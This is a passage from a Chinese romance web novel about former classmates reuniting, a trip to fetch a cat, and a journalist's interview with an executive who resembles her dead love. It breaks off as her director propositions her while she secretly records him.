体育委员的声音之大,整个包间的同学都听到了,有些后面来的同学并没有看到一开始陈恕、张期期之间奇怪的氛围,他们对陈恕和张期期的信息还停留在高中时,于是闻言都开始起哄。 “是啊!到时候记得邀请我们。” “我当年就觉得他们俩能修成正果,是吧?都这么多年了,还在一起,肯定得结婚收场啦!” …… 张期期攥了攥筷子,整个人开始坐立不安,见大家越说越煞有其事,她慌张地站起来,“不……不是……” “好,到时候一定会宴请大家的。”同样站起来的陈恕伸手按在张期期的肩膀上,让她坐下,他笑着同包间里的同学说道。 张期期神色无措地坐着,她实在不知道他为什么要这么说。 周嘉先嘴角露出一丝笑意,余光瞥见沉默着沉浸在自己世界里的林听时,笑意瞬间消失了,浮上眼底的是沉重的忧虑。 他用公筷夹了一筷子牛肉放在林听的碗里,低声道:“这个牛肉还不错,你试试……” 林听筷子一滞,瓮声嗯了一下,她微微侧眼看向周嘉先,对上对方眼底的忧虑,她瞬间觉得喉咙间一哽。 先哥…… 周嘉先微微点了点头,轻轻拍了拍的后背,“先好好吃饭吧。” …… 踏上社会后,同学之间每聚一次便少一次,吃完饭后,众人响应王思的提议,拍了一张大合照。 林听看着班群内上传的照片,指尖微微一颤,她也不知道大家是有意还是无意间的行为,总之大合照里最中间很明显空了一个位置出来。 她眼尾一红,嘴角却微微上扬,这是他们心照不宣的温柔吧?兰亭…… 其他人陆陆续续离开了,陈恕、周嘉先这一桌子留到了最后,一行人前前后后走在走廊上,王思、蒋文等人和周嘉先说着话。 张期期眼神犹豫地看着前方离她两三步远的林听,侯蕊走过去悄悄推了她一把,她一个踉跄,下意识伸手抓住了林听的手臂。 林听顿了顿,回过头来,张期期抿了抿唇,小声道:“林、林听,上次柏雪的事情谢谢你的帮忙。” 林听扯着嘴角礼貌性地笑了笑,“这句话你刚才就说过了……而且也不用道谢,作为媒体新闻人,有义务将事实的真相披露在观众面前。” “哦……” 别扭的气氛在她们之间漫延着,张期期脑子里使劲地想着,想着能有什么话可以和林听说一说、聊一聊。 侯蕊、雷婷眼神复杂,不应该啊……林听和期期之间不应该只有兰亭,撇去兰亭,她们曾经也是很要好的朋友啊!要好到侯蕊、雷婷都会觉得羡慕的程度。 两人四目相对,默契地get到对方的心思,她们想要帮一帮她们,年少时的情感、无论是爱情还是同窗朋友之情都很珍贵。 只是还未等她们助攻…… “期期?” 身后传来呼唤张期期名字的声音,一行人下意识地回过头,他们身后不远处站着一个男人,对方穿着白色的西装,神情惊讶地走过来。 他走进了,王思、蒋文等人打量了几眼,这好像是他们那一届国际班的陆向川,当年他们还和他们班打球打赢了,国际班的同学承包了他们重点一班一学期的教室卫生。 “陆向川?”王思道。 陆向川微笑着朝他们点点头,又看向张期期,笑道:“期期……” “向川。”张期期心底有些惊讶,没想到能遇见他,不过想想也正常,他也是京照一中的学生,来参加校庆是再正常不过的事情了。 陆向川和张期期是认识的,他们是知道的,因此这会儿倒也没想什么,只以为对方也是和他们班的同学聚会,然后遇到了期期而已。 见他们好像有话要聊的样子,王思、蒋文、关宇等人便道:“那我们先走了,还有事。” 侯蕊和雷婷瞥了一眼稍显沉默的林听,又鼓励性地拍了拍张期期的手臂,小声道,“我们也走了,有空再约。” 张期期微笑着点点头,一下子,她身旁只剩下周嘉先、陈恕和林听。 陆向川看了他们三人一眼,脸上始终带着疏离又礼貌的笑意,他道:“期期,我们过去聊一聊。” 张期期看了眼好些年没见过面的陆向川,微微点了点头,“好。”随后她转过身,朝周嘉先道:“先哥,你们先走吧,不用等我了。” 周嘉先余光瞥到面无表情的陈恕,一时间不敢随便回答,他看向陈恕……唔……脸色变得蛮快的嘛。 陈恕低低笑了一声,动作随意又坦然,语气笃定道:“没事,正好我也没什么事,等一等也没什么问题,你们先聊,我就在门口等你们。” 他自然而然地朝着陆向川颔首,转身往酒楼外走去。 林听眼底泛起一丝涟漪,无数杂乱的情绪交织在她心头,陈恕和期期还能有未来,她不甘、怨恨、嫉妒和羡慕。 但此刻,陆向川的出现却让他们之间的嫌隙更大,她本该高兴的,然而她脑海中却又浮现起往日两人手挽着手一起上厕所的画面。 她深深闭了闭眼,道:“我们在门口等你。”她知道期期很想靠近她,所以有这个机会,她不会错过的。 果不其然,见林听主动和她说话,张期期眼眸一亮,惊喜道:“好,我会尽快过去的。” …… 酒楼走廊尽头有一个凸出去的露台,陆向川手臂搭在上面,好整以暇地看着她,“期期,你变了很多。” 张期期笑了笑,径直望向露台外的蓝天,声音怅然,“那么多年了,哪能没有变化呢。”想到陈恕、林听和先哥还在等她,她看向陆向川,意思很明显,有什么要说的赶紧说。 陆向川忍俊不禁,她这个样子才真的有点像她以前的样子。 张期期:…… “好了,我就是想说,他不知道你没去美国吧?那些事为什么不告诉他?”单看刚刚陈恕如临大敌的模样,他就知道他们之间肯定有误会。 张期期沉默着抿住了唇,眼底的光芒渐渐暗淡。 陆向川笑了笑,不再问她和陈恕之间的事,反而道:“还记得以前我说过的话,即便上一次你走了,但我现在还是同样的想法。” “那是不可能的,我永远都不会妥协,而且现在的我早就不符合圈子内那些所谓的规则了,向川,你还是好好想想你到底要什么吧。我先走了……他们还在等着我。” …… 114. 第 114 章 - 酒楼门口。 陈恕面无表情地只盯着人来人往的街道某一处位置看,今日一中百年校庆来了很多人,街道上拥挤不堪,他尽可能地减少信息的摄入。 周嘉先见他这幅样子,就知道他一定是又开始头疼。他叹了口气,“要是那么不放心,你就进去找一找她吧。” “都不要那么犟了好吗?”这句话意有所指,不止是说陈恕,也说林听。 事实证明,周嘉先就是在自说自话,他身旁的陈恕、林听没有一个人理会他的话语,将沉默贯彻到底。 周嘉先:……行吧,是他多嘴了。 … 一想到那么多年,陆向川,美国,陈恕心中就掀起惊涛派浪,期期就是跟着他去了美国……他们会说什么,还会离开去国外吗? 她连鹿海市都不愿意离开,这次突然留在了京照,是因为陆向川还是那个多年前他在大剧院门口见过的男人…… 心仿佛变得又酸又胀,他死死地盯着一处看,不愿意泄露心底的彷徨。 “我回来了……” 张期期小跑着从酒楼内跑出来,气息不稳道:“不好意思,让你们久等了……” 陈恕蓦然回首,指尖微微颤抖,雀跃浮上他的心头,他“面无表情”道:“我送你们回去,我开车过来的。” … 就算陈恕再怎么看着他,周嘉先还是硬着头皮坐在了副驾驶上,将后排留给了张期期和林听。 张期期试着朝林听搭话,“林听,林奶奶身体还好吗?” 陈恕、周嘉先顿了顿,这不妙的开头话语…… “奶奶前几年已经过世了。”林听神色淡淡。 张期期浑身一僵,微微咬了咬唇,林奶奶是林听唯一的亲人了,林听一定很难过,可是她却不在她的身边,她真的不是一个称职的朋友,林听现在不喜欢她是对的,她低声道:“……不好意思,林听……” 林听没有说话,径直望着窗外的景色。 张期期也沉默了,朋友需要她的时候她却完全不在,她现在有什么资格去亲近林听。更何况当初兰亭的事……当年她为什么要说那句话呢,为什么啊……只不过是打扫卫生而已,她当时已经打扫完了,兰亭想打球就打球,她为什么要说那那么狠毒的话。 气氛沉凝,陈恕瞥了一眼后视镜里的两人,道:“你们住哪里,我送你们回去。” 林听神色冷淡,“何榕大道尾巷7号。” 张期期低垂着眼帘,“凰屋别墅区。” “嗯。那我先送林听。”陈恕目光微闪,期期住在凰屋那边,居然没有回皇家园林别墅区吗? …… 陈恕将林听送回去之后,又把周嘉先送回了律所,最后再送的张期期,因为凰屋离市中心有点远。 “怎么没有回鹿海市?”陈恕还是将这句话问出来了,他目光从后视镜上掠过,她还是一副神情低落的样子。 张期期垂着眉眼,脑海里想起她妈让她留在京照市的话语,再加上……再加上大家都在这里,她果然还是想要留在这里的吧。 “过几天会回去一趟,把木木接过来,以后……可能就留在京照市了。” 她为什么改变主意留在京照市,她没有直接回答,陈恕也不想再去问了,总归留在京照市是他乐意见到的事情。 陈恕抿了抿唇,“你什么时候去鹿海市?我过几天也要过去一趟,律所在鹿海那边有点事需要过去处理一下。” 啊……陈恕这是想和她一道去的意思吗? 张期期抬头,“还没决定。不过我什么时候都方便。” “那行,具体什么时间我到时候会提前和你说的。” “……好。” 车子停在了凰屋别墅区大门口,张期期推开车门下了车,陈恕摇下了车窗,她微微弯腰朝着车内的陈恕摆了摆手,“那……那我先进去了,今天谢谢你送我回来。” “嗯……”陈恕正要点头,视线忽然停顿了片刻,看向了张期期的身后。 “期期。” 正从超市回来的戚和风拎着一袋水果看见期期弯着腰和车内的人说着话,她走过去叫了她一声,顺便视线转移到车内,她的女儿这些年都在鹿海市,虽然她忙于训练,但也知道她和京照这边的人早就断了所有的联系。 隔着车窗,戚和风看见车内是一个年轻清俊的男人,对方微笑着朝她礼貌性地点了点头,又道,“期期,我先走了。” 等对方的车子消失在道路的尽头时,戚和风眨了眨眼,这才从记忆深处中扒拉出这么一个人,刚刚那个男人好像是多年前来皇家园林别墅区找期期的男孩子。 那时的她恰逢婚姻变故,心态、想法和以前完全不一样,而那个男生出身窘迫,她一眼就看出来了,所以说了一些话想让那个男孩子知难而退。 戚和风看了一眼自己的女儿,没想到他们还有联系…… “妈,你去超市了?天气这么晒,怎么不晚一点再去。” 戚和风笑了笑,“没事,妈就是出来逛一逛,也没有多晒,这一路都是树荫的。” 两人相伴着走进别墅区内,戚和风想了想,还是问了,“刚刚送你回来的……是你以前高中喜欢的男孩子吧,你现在和他在一起了?” 张期期点了点头,又摇了摇头。 戚和风:? “妈,他是陈恕,但是我们现在没在一起,都那么多年了,好多事都变了。” 戚和风伸手拍了拍期期挽着她的手臂,“没在一起就算了,霍玖那孩子你张阿姨和妈妈都觉得不错,我看他也很喜欢你,要不就试试?” “试什么……”张期期心不在焉地听着。 “试试谈谈男女朋友啊,那孩子家庭条件、性格脾气都不错。”戚和风笑着道,原本她是中意向川那孩子的,但……期期当年跑去了鹿海市,张世明又二婚了,还重新有了个孩子。 虽然说期期也是张世明的女儿,她也替期期争取到了她应有的东西,但到底期期和张世明的关系已经不再融洽,陆家那对夫妻不会同意儿子娶一个与背后家族离心的人。 “男女朋友?”张期期愣了下,诧异地看向她妈,戚和风点点头,表明她没有听错。 张期期无奈道:“妈,我不喜欢霍玖。” “你还喜欢陈恕?”戚和风道。 她微微眯了眯眼,想起方才对方开的车,保底也要上百万,看来那孩子确实还算优秀,但到底和期期还是有差距的,期期名下的不动产已经有几千万了,另外还有酒店每年的一些分红。虽然因为张世明的缘故,期期一直以来除了她姥姥生病之外,她都尽量不动用那些东西。 …… 还喜欢陈恕吗? 夜晚的风带着轻微的凉意,张期期躺在阳台的躺椅上一晃一晃地,望着群星点缀的夜幕思考着……喜欢当然还是喜欢的,只是他们之间已经分开了许多年。 * 翌日。宏图传媒。 林听正对着电脑删删改改着她带的实习生递交上来的稿子,稿子上某些用词太过尖锐、不妥当,而且个人主观意识太过输出了…… 她将问题标注在稿子上,又重新打了回去,让对方继续改。 “林听,周总监找你……”余味走过来压低声音道。 林听点点头,“好,我知道了,谢谢你。” 她的电脑在三十秒后就会直接锁住,所以林听毫不担心地起身往总监办公室走去,而她的身后,余味撇了一眼她锁住的电脑屏幕,耷拉下了嘴角。 不知道周总监找林听什么事,明明他是前辈,比林听还早进公司,可偏偏新来的周总监就是更看重林听。茶水间里,他和同事兼大学同学这么抱怨着。 同事笑了笑,“不说别的,林听跑外勤比你勤快多了,哪像你要是下雨了,出外勤的活你都是能推就推。” “哪里是这点小事啊,公司里稍微有点阅历的不都是这样,也不单单我一个人啊!分明就是周总监觉得林听背后有人。” “你这话说得……人脉都是自己慢慢累积起来的,要不是咱俩是大学同学,我也懒得说你。” 余味皱了皱眉头,“可是她刚进来没多久却能采访到联合律所的老板,都不知道用了什么手段……” …… 总监办公室。 “周总监,您找我有事?”林听问道。 周震抬眸,望着眼前容貌清丽,眼神冷淡的林听,他笑了笑,道:“公司最近想推出个新项目,采访京照市年轻有为的精英人士,这个采访我们把许氏地产的总裁作为第一个采访对象。” “你在公司这么多年,完成了很多别人都完成不了的采访,所以这次许氏地产总裁的采访任务就交给你了,你一定能给这个项目带来开门红的好寓意吧。” 许氏地产的总裁……许敬亭。 林听眸光流转,许敬亭那张和兰亭几乎一模一样的脸浮现在她的脑海里,明明知道总是这样透过别人去看兰亭是一件非常不礼貌的事情,但…… “好的,周总监。” 她还是答应了,想到只剩下最后一次还钱的机会可以看见“他”,现在能有一个光明正大的机会可以见“他”,她迫不及待地答应了。 周震眼神顿时变得意味深长起来,一丝犹豫和为难都没有,好像笃定自己可以完成这个任务,但据他所知,许氏地产的总裁虽然总是一脸温和带笑的模样,但对方可并不是真的就是一个温和、好说话的人。 许氏地产最近在进军酒店行业,冲击了本地的连锁酒店“盛明”的生意,“盛明”的张家和许家以前还是世交呢,他许敬亭下手都不手软的。 要他说,张世明也是有点蠢,张家本身就是倚靠着“盛明”渐渐发家的,这可是立身之本,偏偏这些年张世明将大部分的资产投入发展他从未接触过的新型科技行业,渐渐的,“盛明”的其他股东自然不同意,这就被许氏地产抓住了这个机会。 “行,那这件事就交给你了。”周震笑着道。 走出周总监的办公室,林听坐在自己的电脑前,她摸出手机看着微信页面上许敬亭的秘书小陈的微信聊天窗口,上面显示着上一次的聊天记录,是她约着还钱的事。 她伸手将散下来的发丝别在耳后,这一刻她回过神来才忽然觉得不合适,敬亭哥好像很少接受采访,对比起其他公司的总裁,他显得格外的低调。 所以……他应该是不喜欢被采访的,可她刚刚鬼迷心窍地答应了,她也知道如果是她的话,敬亭哥是会接受采访的。 嘶……林听头疼地捂住了额角,她这是在干什么?仗着兰亭而让敬亭哥妥协吗?要不,回去和周总监说自己不行…… 她站了起来,却发现腿格外地沉重,她迈不出那一步,兰亭……兰亭……她好想见见兰亭,从那天校庆、聚会之后,她想见他的心格外地强烈,想到她觉得心脏一阵阵钝痛。 林听手腕捂在心口上,又缓缓坐了回去。就这一次,就这一次吧…… * 金颂律师事务所。 律所一向来得最早的助理小林正摸出钥匙准备将律所大门打开时,却发现大门已经开了,糟了……该不会招贼了吧…… 这么猖狂的吗?偷东西偷都律师头上了…… 他推开大门,轻手轻脚地走进去,目光在办公区环绕了一圈后没有发现,便小心翼翼地踩着楼梯走上去。 视野里,属于老板的那间办公室的灯光亮着,好家伙,这贼还挺机灵的,知道要偷东西就得偷老板办公室的。 他顺手抄起墙角的拖把,蹑手蹑脚地走过去,随后深吸一口气,猛地推开办公室门,“你个贼居然……” 陈恕缓缓抬眸,看见助理小林挥舞着拖把,就要冲进来…… 四目相对下,助理小林顿时卡壳了,“老、老板……”他一顿一顿跟老旧的机器一样将手中的拖把放下了,“老板……你这么早啊?我以为是、是贼进来了……抱歉老板。” 他内心一顿哀嚎,不应该的啊,如果第二天一大早有事,老板都是直接前一晚就在办公室睡了,可是昨天晚上他是看着老板下班的,所以正常来说,老板早上肯定八点之后才会到,今天怎么这么早。 “嗯。”陈恕随意地应了一声,他要挤时间和期期去一趟鹿海市,所以手头上的工作必须先提前完成。 “不好意思,那老板我先出去了……”助理小林尴尬不已,拿着拖把就想撤。 “等等……”陈恕目光掠过他的拖把,见助理小林讪笑着将拖把藏在身后,他沉声道:“下次律所要是真遭贼了,不用担心损失,报警就行,用不着你以身涉险,抓贼是警察做的事。” “啊……啊、好。我知道了。”助理小林坐回了自己的办公位,满眼冒星星的模样,老板!老板真是太好了…… 之后律所的同事陆陆续续来上班了,因为时间还算充裕,还没到九点钟,所以大家有的边吃着早餐边聊着天。 方宜喝了一口豆浆,若有所思地道:“你们有没有发现最近我们老板有点不一样啊!” “哪里不一样,你快说,每次都是你在吊大家胃口……” “就是就是……” 方宜笑着摆了摆手,随后神秘兮兮道:“就是……就是以前我们老板经常跑外勤,现在大部分时间都呆在律所里耶。” 她这么一说,助理小林突然附和着点头,“还真是这样,对了,还有还有!以前我跟着老板出外勤的时候,老板忙完事情就喜欢开着车绕一圈,下一次又换个地方绕一圈。” “是兜风吗?” “应该不是吧,感觉像是找什么一样,上次加班太晚了,明明我家和老板家不在一个方向,他还是送我回去了,当时老板好像是说那里他还没找过……” “找人吗?”方宜诧异道:“都这个年代了,还这么找人的吗?老板这么在意,肯定是重要的人,但是这么重要的人就没有一点联系方式的吗? 众人都想不明白,也不理解,站在楼梯口沉默地听着他们聊天的周嘉先无奈地笑了笑,陈恕啊陈恕,找人找到连律所的同事都猜到了。 他转身看向楼上陈恕亮着的办公室,这么多年了,他这个旁观者有时候都不理解他到底是怎么坚持下来的。 …… 陈恕连轴转了好几天,才终于再次腾出了时间,他从办公室出来,来到助理小林的工位上,“小林,我明天要去一趟鹿海市,鹿海那边有没有需要办的事情……” 助理小林闻言,一脸懵,鹿海市那边哪里有需要老板亲自去办的事情啊,没有! ”没有吧……老板。” 陈恕微微点了点头,道:“你再想想……” 助理小林:…… 路过的周嘉先嘴角抽了抽,走过去拍了拍助理小林的桌子,“上次鹿海市寄过来的文件核对完了吧?” 上次?助理小林恍然大悟,就是……就是那个老板亲自过去签了个名的文件,“核对完了。” “核对完了,是不是我们留存一份,复印一份给鹿海那边?”周嘉先和善笑着道。 助理小林:“啊对,但是……”但是这个只需要寄过去就行的……不需要老板…… 周嘉先:“没有但是,就把那份给你老板,他会亲自坐飞机拿过去给他们。” 助理小林:…… 他问询的目光看向老板,陈恕微笑着点了点头,还拍了拍他的肩膀,“给我吧。” 助理小林一脸懵地抽出那份文件递给了陈恕,陈恕接过后转身就走,助理小林看向周嘉先,周嘉先笑了笑,忽然道:“重要的不是文件,而是去鹿海市的理由,懂吗?” 助理小林:……“不懂。” “不懂就对了。”因为你老板在发癫。周嘉先拍了拍他的肩膀也走开了。 * 凰屋别墅区门口。 张期期看着时间与陈恕约定的差不多了,便背着斜挎包走了出来,她一出来,立刻看见了门口不远处停着的车子。 车子缓缓开了过来,陈恕摇下车窗,道:“上车。” 张期期点点头,从顺如流地拉开了后排的车门,她正准备上车,陈恕便道:“怎么不坐前面来,把我当司机?” “我没有这个意思。”张期期只能关上后排的门,坐到了副驾驶的位置。 “嗯。”陈恕掉头开车。 见陈恕一直沉默着,张期期小声道:“刚刚……等很久了吗?” 陈恕攥紧方向盘,“嗯。等了很久很久……”久到他有时候都忍不住想问自己真的要继续等下去吗?久到他甚至不知道自己到底还在期待着什么。 张期期一听,脸上露出抱歉的神情,“其实……你不用来接我的,我自己过去机场就行。” 陈恕没有回答她的话,张期期见他认真地开着车,也就不再开口打扰他,两人安静地到了机场,又安静地上了飞机,一直到鹿海市石塘镇。 再次回到这座小镇,这座小镇还在淅淅沥沥地下着雨,明明是正午的时间点,天色却昏昏沉沉的,天幕上黑云压顶。 但张期期早就习惯了鹿海市连绵的雨季,因此并没有被天气影响到心情,她反而十分高兴,连家门口都没进,就直接到隔壁李大婶家里。 张期期敲了敲门,喊道:“婶子……我来接木木了。” 她的话音刚落,眼前的院门都还没开,院子围墙上突然蹿出来一只稍胖的橘猫,橘猫高昂地喵喵叫着,又飞快地爬到了张期期的怀里,张期期立刻抱住了橘猫,脸蹭了蹭它的头。 “木木……我回来啦。让你等这么久,真是对不起哦。” 橘猫的脚沾到院中的泥水又踩在了张期期的身上,她的胸前腰腹处立刻沾上了灰色的脏污,但她丝毫不在意。 这时,李婶开了门,笑呵呵道:“期期,回来了啊……” “嗯,回来了。婶子,这些日子谢谢您照顾木木。”张期期笑着道。 李婶想起镇上那些乱七八糟的传言,目光在陈恕的身上停留了好一会儿,她笑着道:“它很乖的,也算不上什么照顾,猫粮猫砂都是你家的。” 再次道过谢之后,张期期抱着橘猫回到了自己的家中,陈恕将黑色雨伞收起,放在了院子和房内衔接处的屋檐下。 张期期看着自己身上的脏污,又看了看外面还在下雨的天气,低声道:“陈恕,要不你先在这坐一下?我上去洗个澡换身衣服。” 陈恕点头,神色自若地坐在沙发上,“嗯,现在是中午,那边估计下班了,我的事只能晚点再办。” 张期期抱着橘猫上了二楼,陈恕明目张胆地再次打量起这栋房子,也不知道期期在这里住了多久了……半响后,他起身往厨房走过去,已经中午了,他也有点饿了。 他从软件上点了单,买了一些生鲜、菜、意面,因为地址很近,对方没几分钟就送到了。 张期期还没下来,陈恕就开始在厨房里娴熟地做起了午饭,当张期期洗完澡收拾完之后再下来时,发现厨房内飘着食物的香气。 她愣了好一会儿才抬脚走过去,透过磨砂质的玻璃,她看见了陈恕模糊的身影。 厨房门被推开了,陈恕端着两份海鲜意面走了出来,两人四目相对了片刻,陈恕率先移开了眼神,他将意面放在餐桌上,又神色自若地回去端了两碗汤出来。 “吃饭吧?你不饿吗?” “哦,好。” 张期期愣愣地接过他递过来的筷子,“谢谢……” 饭桌上安安静静的,只有筷子偶尔碰撞在碗边缘的声音响起,两人各自吃完了饭,张期期想要去刷碗时,又被陈恕阻止了。 “既然要回京照市,这边的东西应该好好整理一下,你去弄吧,没几个碗我来就行。” “哦……”张期期一步三回头地上了楼。 陈恕收拾完碗筷之后,趁着雨势变小和期期在楼上收拾、整理东西,且他不可能让期期知道他这趟过来只是交个文件而已,所以就紧跟着出了一趟门,亲自将文件交给了机关单位的前台,等机关单位的前台告知领导,领导急匆匆地赶来时,陈恕又已经离开了。 领导:…… 陈恕回到张期期家时,听见楼上哐当哐当的声响,他皱了皱眉头,有那么大件的东西需要收拾吗?虽然疑惑,但没有对方的许可,他也只好呆在楼下静静地等待着…… * 另一边,京照市…… 林听紧紧地攥着手机,呆呆的看着手机上秘书小陈与她的聊天界面,想见“他”的渴望如骨蚀腐一般,她到底还是忍不住将采访的事情发给了秘书小陈。 叮……手机亮了一下。 林听恍然回神,秘书小陈发过来一行字“老板说可以,今天下午他都有时间。” 她暗淡的眼底骤然发亮,连忙回复,“好的,那我下午三点半过去。” 【好。】 … 兰亭大厦顶楼。 林听刚准备和前台小姐说与许敬亭有约时,许敬亭的秘书小陈就走了过来,“林小姐……我带你过去。” 林听朝前台小姐笑了笑,又看向秘书小陈,“麻烦你了……” “哎,你这个包看起来很沉,我帮你背着吧。”秘书小陈边走边道。 “不用了,我都习惯了,我自己来就行。” 前台小姐满眼八卦地看着秘书小陈和林听的身影渐渐消失在她的眼前,她和身旁的同事嘀嘀咕咕道:“这个女人是谁啊,陈秘书怎么对她那么热情、客气啊……上次杨氏公司的总经理过来,陈秘书都没这么客气呢……” 秘书小陈带着林听穿过员工办公区,带到了老板办公室门口,他小声道:“进去吧,老板就在里面,时间上也不急,下午老板都没事……” “好的,谢谢。”林听微笑地点点头。 秘书小陈离开后,林听深深吸了口气,她微微用力咬了咬唇,强自镇定下来后轻轻敲了敲办公室门。 “进来。” 温和疏离般的声音响起,林听绷着一口气推开了办公室的门,坐在办公桌后面的男人抬眸微微笑着,四目相对之下,她再次晃神了片刻。 “林听。”许敬亭微笑着道,他指了下沙发,道:“坐那儿吧。”说着,他也站起来走过去坐在了沙发上,“采访是吗?我需要怎么做?” 看着他公事公办的样子,林听心里才稍微不那么紧绷,没有谁会猜到她隐秘的心思的,这么想着她嘴角挂上礼貌营业的笑容,“您不需要怎么做,就回答我一些问题就可以了……” “好。”许敬亭颔首。 林听从背包里拿出录音笔放在桌面上打开,又拿出本子放在腿上,手中攥着黑色水笔,她微微吸了一口气,抿了抿唇,开始问起她提前在本子上记录下的问题。 …… 许敬亭是作为宏图传媒新项目的第一个被采访的对象,因此为了新项目的顺利进行,这第一个采访的对象给出的信息就非常重要。 因此,林听问完了关于对方事业上的问题之后,深知八卦情事也是最吸引群众关注的她不得不问了一个这方面的问题。 “那么,其实大众对您的择偶标准还是非常感兴趣的,许先生能够给我们说一说您对什么类型的女性比较欣赏呢?” 坐在沙发上的许敬亭愣了下,反应过来后他下意识地调整了一下坐姿,微垂下眼眸,状似在思考一样,片刻后,他带着不确定的语气,温声道:“这个问题我倒是没有考虑过,不过,想来应该是性格坚韧的女性,我更欣赏吧。” 问出这个有些冒犯的问题,其实林听心中也没什么底,见对方认真地回答了,她微微呼出一口气,微笑着点头,“好的,那我们今天的采访就到这里结束了,后续关于您的采访稿子我会提前发给您这边,您这边同意了,我们才会发表。” “嗯。”许敬亭点了点头,“可以。” 办公室悄然安静下来,林听笑着点了点头,开始 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 收拾起东西,本子上空荡荡的,仅有几行字而已,她遮掩着立刻合上。 以往她采访的时候总是写得满满当当,甚至连被采访者听到她的问题时下意识的表情都会记下来,以此推断被采访者对于这个问题的排斥程度,若是十分排斥,那么这个问题的答案就不能被写在稿子里,因为极有可能是假的信息。 然而这一次……算了……回去再根据录音笔上的内容整理稿子吧…… 林听抿了下唇,她作为采访者自然是要礼貌地看着被采访者讲话的,但……看着敬亭哥那张脸,她根本无法聚精会神,却又舍不得不看着“他”。 林听垂着眼帘收拾完东西后,正打算告别,许敬亭看着她,忽然道:“不需要拍张照片?” 拍照片……林听愣了下,她作为媒体人当然知道许氏地产的许敬亭不喜欢拍照,网络上关于他的照片都比较模糊。如果能拍下他的高清照,宏图这个新项目成功的几率会大大提高。 “可……可以吗?您不是……” 许敬亭温和地笑了笑,“可以,没关系的。” 他顺手拿下了鼻梁上挂着的金丝眼镜放在茶几上,男人抬眸望向她,眼底笑意韵浓,他内敛的气息散去,变得明媚和阳光。 就像……就像她的兰亭。 林听眼神恍惚,耳膜仿佛在鼓胀着,身旁的一切仿佛如潮水一样褪去,她的眼前只剩下笑意明媚的“他”。 兰亭……她的喉咙间就要溢出这个名字。 “不拍吗?”许敬亭笑着道。 他一开口,面前令她恍惚不已的画面忽然寸寸破碎,他们长得再像,但声线还是不同的,许敬亭声音一贯低沉温和,而兰亭说话的尾音总是明媚地上扬起来。 “拍……您不介意的话。”林听干巴巴道。 许敬亭摆摆手,浑然不介意的模样,因此林听便从背包里拿出相机,她往后退了几步,微微弯下腰,相机的镜头对着沙发上言笑晏晏的许敬亭。 看着相机里的画面,林听总觉得……好像有点违和感,但相机里的人却格外地神似兰亭,因此,她下意识快速地咔嚓咔嚓了好几张,生怕“他”稍纵即逝。 * 从兰亭大厦出来后,林听坐在出租车上忍不住拿出相机看着里面的照片,她深深地凝望着,满眼眷恋、怀念,眼底又压抑着无尽的悲痛。 若是兰亭还活着,应该差不多就是现在的样子吧?她指尖轻柔地抚摸着屏幕上男人的脸。 车窗开着,夏日的风缓缓吹着,带来黏腻的燥热,像极了那些年她和他一起在何榕大道上吹过的风。 回到宏图传媒的门口,林听伸手捂住脸,平复好心情之后才走进公司,她刚坐在办公椅上,她带的实习生夏佳佳就跑了过来,将之前被她打回去的稿子放在了她的桌面上。 对手双手合十,苦着脸问道,“林听姐,我的稿子真有这么多问题吗?我看了好几天,改不下手啊。” 林听本来想一鼓作气将今天采访的稿子写出来的,但见对方这幅垮着脸的样子,她只能将自己手头上的事情先放在一边,转而看起对方的稿子来。 到底她的采访稿子不急,但这个实习生要是再写不出像样的稿子的话,留在宏图的几率就更低了。 林听低着头仔仔细细地看起对方的稿子来,没一会儿她就无奈地叹了一口气,“我上次说过了,你的个人观点输出太强了,我们是记者,实事求是,将看见的听到的实事求是地报道出来,即便你对事故有观点,也应该是三言两语点一下就行,而不是长篇大论,甚至开始给政府各界提意见。” “可是我觉得我说的都是对的啊,要是他们好好作为,哪里会发生这样的事嘛。”夏佳佳瞪着眼反驳道。 林听闭了闭眼,“但你这些只是推断,你也不是专业的人,不能凭空猜测的。” …… 两人争论了好长时间,连天色都渐渐变黑了,林听依旧说服不了这个个性十足,仿佛准备随时怼天怼地的实习生。 余味走过来神色冷淡道,“林听,周总监找你。” 林听并没有意识到他冷淡的语气,反而感谢对方这会儿来解救她,她朝夏佳佳道:“你要是想留在宏图,至少目前应该按照我说的来写稿子。” 她起身朝余味笑了笑,拿起本子便往周总监的办公室走去。 林听没有看到她身后的余味朝她递过去一个嫌恶的眼神,余味扯了扯嘴角,他和周总监都是男人,男人在想什么他难道会不清楚。 被林听最后那句话说得哑口无言的夏佳佳转头便看见余味的眼神,她狠狠皱起了眉头,起身撞开了余味往自己的办公桌走去。 “哎……你这个实习生太不尊重人了吧,撞了我也不道歉的吗?” 夏佳佳嗤笑一声,转身直接对着他翻了个大大的白眼,谁怕谁啊,他居然那样看她林听姐!虽然被林听姐一直说,但她林听姐可是曾冒着危险揭露过业界好些脏污的人,是个她敬佩和想学习的人,他余味这个滑头鬼算个毛! * 总监办公室。 周震目光探究地看着眼前的林听,她化着轻薄的淡妆,姿容清丽脱俗,却总是神色淡淡的,此刻对方就站在他的办公桌前,汇报着新项目第一次采访的结果。 “……大概就是这些了,今晚我会将稿子写好,照片也穿插进去。” 照片……周震倒是更惊讶了,许氏地产的许敬亭很少接受外界的采访,这一次林听能这么快就采访到对方已经让他很意外了,没想到居然还能拍到照片,看来……那方面的功夫很好蛮…… 他目光再次变得意味深长,且更加赤裸裸地在她的脸上、身上打量着,仿佛林听是待价而沽的物件一样。 林听汇报完之后,见周震迟迟没有开口说话,便合上本子,疑惑地望过去。乍一眼,她就狠狠地皱起了眉头,周总监的眼神让她非常不舒服,她本就冷淡的神色瞬间沉了下来。 “周总监,还有什么事吗?”她绷着脸问,已经在职场上生存了五年的林听早就不再是刚出校园青涩又稚嫩的大学生,并且作为媒体人,对事情的敏锐度是很高的,所以像周震这样的神情她并非没有见过。 林听伸手将散下来的发丝状似随手别在耳后,她修长的中指悄悄点了下绑着低马尾的黑色发圈,那里其实是一个纽扣录音设备。 作为曾经揭露过业界脏污的记者,她不可能没有这种隐蔽的录音设备,估计也就这个空降而来的总监对这些东西毫不设防吧。 周震慢条斯理、胜券在握般地站起身,走到了林听的身前,他幅度轻微地吸了一口气,啊……真香啊,近距离看,林听更好看了,有股清水出芙蓉的感觉。 林听微微皱了皱眉,往后退了一步。 周震嘴角似笑非笑,压低声音道:“今晚先不写稿子了,去我那儿怎么样?我能空降过来,自然证明……”他未将话说明确,只是接着暗示道:“……跟我是少不了你的好处。你懂的吧?” 